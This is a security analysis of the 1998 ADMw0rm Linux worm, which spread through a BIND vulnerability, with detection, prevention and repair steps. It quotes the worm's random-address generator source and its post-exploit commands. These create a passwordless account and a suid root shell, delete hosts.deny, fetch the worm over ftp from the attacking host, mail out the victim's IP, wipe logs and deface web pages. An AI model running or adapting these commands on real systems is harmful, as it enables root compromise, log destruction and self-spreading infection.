A Brief Analysis of the ADM Internet Worm
Max Vision <vision@whitehats.com> 
  • Summary 
  • Origin 
  • Lifecycle-localhost 
  • Lifecycle-network 
  • Detection 
  • Prevention 
  • Repair 
  • ADMw0rm-v1.tar.gz 
SUMMARY

The ADMw0rm Internet Worm is a collection of scripts and programs whose function is to automatically exploit the remote BIND vulnerability in linux systems in order to gain access, and attack other systems from each compromised host, copying itself to each vulnerable system. This worm is linux specific, and affects default installations of Redhat Linux from Redhat 4.0 to 5.2, and possibly systems using ISC BIND code based on 4.9.6. Affected systems are limited due to the exploit that the worm tries to use to gain remote access. Compromised systems are left with a "w0rm" backdoor account and the victim's IP address is emailed to the creators of the worm.

ORIGIN

File datestamps in the original archive range from 1998 May 1st to May 16th. This code was first seen in late May, when ADM made it publicly available [currently this is http://adm.freelsd.net/ADM/]. .

The original distribution of the worm is a 7427 byte compressed tar archive containing the following files:
 
files from ADMw0rm-v1.tar.gz 
-rwxr-xr-x   1 root     root         1725 May 14  1998 ADMw0rm*
-rw-r--r--   1 root     root          819 May 16  1998 README
-rwxr-xr-x   1 root     root          545 May 10  1998 gimmeIP*
-rw-r--r--   1 root     root          314 May 13  1998 gimmeRAND.c
-rwxr-xr-x   1 root     root          765 May 12  1998 incremental*
-rw-r--r--   1 root     root         5892 May 13  1998 named_ADMv2.c
-rw-r--r--   1 root     root         4098 May  1  1998 remotecmd.c
-rw-r--r--   1 root     root         1483 May 13  1998 scanconnect.c
-rwxr-xr-x   1 root     root          670 May 14  1998 startup*
-rw-r--r--   1 root     root         4299 May 10  1998 testvuln.c

An attacker launching the worm would run "startup" which initiates the worm. This script serves to infect the local system, compile and build a distribution "worm" that will actually be copied repeatedly across the net, and begin scanning randomly for hosts to infect. (See Lifecycle below for more detail)

LIFECYCLE: Localhost 

The following events occur during the remote exploit:

  • creates user account "w0rm" with null password 
  • creates suid root shell as /tmp/.w0rm 
  • deletes /etc/hosts.deny 
The following events occur in the course of the worm script running on the system:
  • deletes all logfiles in directory /var/log 
  • emails the system IP address to admsmb@hotmail.com 
  • finds all index.html files on the filesystem and replaces them with "The ADM Inet w0rm is here !" 
  • propagates the worm by scanning for and attacking other random systems 
LIFECYCLE: Network 

At this point the worm has prepared the local system by creating the w0rm acount, and compiled and archived the worm software into /tmp/.w0rm0r. Having prepared the local system, the worm next scans for other new targets in a incremental method with a pseduo-random starting address.

It obtains a random address to attack from the program gimmeRAND.c:
 

gimmeRAND.c - returns random ip address
int myrand()
{
 int j;
  j=1+(int) (230.0*rand()/(RAND_MAX+1.0));
  return(j);
 }
    
 void main  () {  
 int i;
 
 srand((time(NULL)*rand()));

 for (i = 0; i < 3; i ++ )
      printf("%i.",myrand());
 
 printf("%i\n",myrand());
}

 

The ADMw0rm infection routine then steps through all possible addresses, incrementally, starting from the random IP. If any of the octets in the IP address reach 230 they are reset to equal zero. The first octet is not reset when incrementing so the scanning stops at 229.230.230.230. The number of systems scanned by the worm depends on how low the random starting address was.

This stream of incremental addresses is fed to "scanco" (scanconnect.c) which tries to connect to the target at tcp port 53.
 
"scanconnect" tcpdump - example as it scans for nameservers
source.sp > 1.2.3.4.53: S 3950872678:3950872678(0) win 32120  (DF)
source.sp > 1.2.3.5.53: S 3950872678:3950872678(0) win 32120  (DF)
source.sp > 1.2.3.6.53: S 3950872678:3950872678(0) win 32120  (DF)
source.sp > 1.2.3.7.53: S 3950872678:3950872678(0) win 32120  (DF)
...

Hosts that successfully connected get passed to "test" (testvuln.c) which tests to see if the named listening supports IQUERY (udp port 53).
 
"test" tcpdump - example as it fails an IQUERY check :)

source.sp > 1.2.3.4.53: 2695+ (45)
1.2.3.4.53 > source.sp: 2695 1/1/1 (140)
source.sp > 1.2.3.4.53: 64851 inv_q+ [b2&3=0x980] A? . (27)
1.2.3.4.53 > source.sp: 64851 inv_q Refused [0q] 1/0/0 (27)
source.sp > 1.2.3.4.53: 58617+ [b2&3=0x180] (30)
1.2.3.4.53 > source.sp: 58617* 1/0/0 (88)
...

Hosts whose named support IQUERY seem to be considered as likely to be vulnerable, and are then passed to Hnamed which attempts to actually exploit the vulnerability.

<snort output looks best, put packetdump here>

If the exploit is successfull it runs the following commands on the victim server as root:
 
Hnamed - commands run via exploit

echo >> /etc/passwd
echo \"w0rm::2666:777:ADM Inet w0rm:/:/bin/sh\" >> /etc/passwd
/bin/cp /bin/sh /tmp/.w0rm
/bin/chmod 4777 /tmp/.w0rm
/bin/rm -f /etc/hosts.deny

Now that the victim has the unobstructed w0rm account with no password, and access to root priveleges, the worm then sends a sequence of command to the new victim through a telnet session, using the "remotecmd" program.
 
remotecmd - commands run on remote host via telnet session
/tmp/.w0rm -c "/usr/sbin/named" &
PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export PATH
echo -e " \n$SAY\n <\html> <\\\body>" > /tmp/.X11x
cd /tmp/
mkdir .w0rm0r
cd .w0rm0r
if [ -f /tmp/w0rmishere ]
then
nohup /tmp/.w0rm -c "/bin/sleep 60;/bin/rm -rf /var/log/* /tmp/.w0rm" &
logout
fi
ftp $IP_A
w0rm

cd /tmp/.w0rm0r
get ADMw0rm.tar.gz
bye
tar xfvz ADMw0rm.tar.gz
touch /tmp/w0rmishere
nohup ./ADMw0rm &
./gimmeIP | /bin/mail $EMAIL
nohup /tmp/.w0rm -c "/bin/sleep 60;/bin/rm -rf /var/log/* /tmp/.w0rm" &
nohup find / -name "index.html" -exec /bin/cp /tmp/.X11x {} \; &
logout

 
retrieving worm archive from attacking host

 
sending email to author of worm

 
code that modified all webpages on the host

From here the process repeats.

Detection

Host based:

  • /etc/passwd contains new user account "w0rm" with null password 
  • /tmp/.w0rm exists and is a suid root shell 
  • /etc/hosts.deny is missing 
  • /var/log is empty or the logfiles are small with large time gaps 
  • index.html files are all replaced with "The ADM Inet w0rm is here !" 
  • processes running such as .w0rm, ADMw0rm, Hnamed, gimmerand, incremental, scanco, test, remotecmd 
Network based:
  • outgoing email to admsmb@hotmail.com (local system logs won't show this unless /var/log was not used, or alternate logging was in place such as a proxy firewall) 
  • incoming ftpd connections as user w0rm or the file ADMw0rm.tar.gz being retrieved (local system logs won't show this unless /var/log was not used, or alternate logging was in place such as a proxy firewall) 
  • outgoing traffic to tcp port 53 (the worm scanning systems for named service using "scanco") 
  • outgoing traffic to tcp port 53, TTL originally 31337 (worm exploiting BIND IQUERY vulnerability using "Hnamed") 
  • outgoing telnet to tcp port 23 as user w0rm (the worm spreading by using "remotecmd") 
Prevention

UPGRADE BIND. The ADMw0rm-v1 spreads by remotely exploiting a vulnerability in earlier versions of BIND. If you upgrade your BIND to a newer release that is not vulnerable to this particular hole, then you will be effectively immune to this worm. Please note, however, that it is a trivial matter for attackers to create variations of this worm, using other vulnerabilities including ones affecting other platforms than linux. It is always best practice to keep your system and network software current, and watch public security forums for new information that could affect your operating environment.

Repair

To repair an existing infection from the ADMw0rm-v1, you would need to take the following steps:

  • delete the suid root shell [/bin/rm -rf /tmp/.w0rm] 
  • stop any running worm processes [/usr/bin/killall -9 ADMw0rm] 
  • remove the worm files [/bin/rm -rf /tmp/.w0rm0r] 
  • remove the w0rm user from the passwd file [/usr/sbin/userdel -r w0rm] 
If you have been infected by the worm (see Detection above) then you have a fairly large problem. Killing the worms processess, deleteing the files, and removing the w0rm user from the password file only cleans the known part of this attack. The unfortunate issue is that your system has been compromised at the root level, and your IP address has been sent to an attacker. They could have logged in and done any number of things. Further, since the worm does not repair the original security issue, any other attacker can still compromise your system. A good starting point for your path to recovery is CERT's famous "Steps for Recovering from a UNIX Root Compromise".

ADMw0rm-v1.tar.gz

This file is provided for download with the intention of lawful purposes, and is shown for educational use only. All components of this worm, and the entire worm itself, are publicly available on other high-profile sites on the Internet for download. (try searching Altavista for "ADMw0rm-v1").
 
-rw-r--r--   1 root     wheel       7427 May 29  1998 ADMw0rm-v1.tar.gz